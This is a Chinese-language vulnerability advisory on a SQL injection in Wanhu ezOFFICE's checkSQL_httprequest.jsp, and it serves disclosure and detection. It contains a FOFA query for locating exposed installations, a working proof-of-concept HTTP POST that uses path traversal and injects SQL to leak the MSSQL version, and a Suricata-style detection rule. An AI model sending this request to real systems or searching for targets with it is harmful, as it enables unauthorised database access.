万户ezOFFICE checkSQL_httprequest.jsp 存在SQL注入漏洞¶
万户ezOFFICE checkSQL_httprequest.jsp 存在SQL注入漏洞,攻击者可进行sql注入攻击获取数据库信息或者权限。
影响版本¶
万户ezOFFICE
漏洞状态¶
| 漏洞细节 | 漏洞POC | 漏洞EXP | 在野利用 |
|---|---|---|---|
| 是 | 已公开 | 已公开 | 已知 |
风险等级¶
| 维度 | 评价 |
|---|---|
| 威胁等级 | 高危 |
| 影响面 | 广 |
| 攻击者价值 | 高 |
| 利用难度 | 低 |
漏洞复现¶
FOFA:app="万户网络-ezOFFICE"
POC/EXP:
POST /defaultroot/iWebOfficeSign/OfficeServer.jsp/../../modules/hrm/report/customize/checkSQL_httprequest.jsp HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Content-Type: application/x-www-form-urlencoded
selectSQL=select distinct convert(int,@@VERSION)&dbType=sqlserver&fromSQL=--from+sysobjects+&whereSQL=--

sonrt规则:
alert http any any -> $HOME_NET any (
msg:"Wanhu ezOFFICE - MSSQL Version Disclosure via checkSQL_httprequest.jsp";
flow:to_server,established;
http.method; content:"POST";
http.uri; pcre:"/\/modules\/hrm\/report\/customize\/checkSQL_httprequest\.jsp$/i";
http.request_body; content:"selectSQL=";
pcre:"/selectSQL=select\s+distinct\s+convert\(int,@@VERSION\)/i";
metadata:
cve none,
service http,
affected_product "万户ezOFFICE",
vulnerability_type "MSSQL Version Disclosure",
attack_target "database_server",
severity "high";
classtype:sql-injection;
sid:1000462;
rev:1;
priority:1;
)
漏洞修复¶
关闭互联网暴露面或接口设置访问权限
升级至安全版本。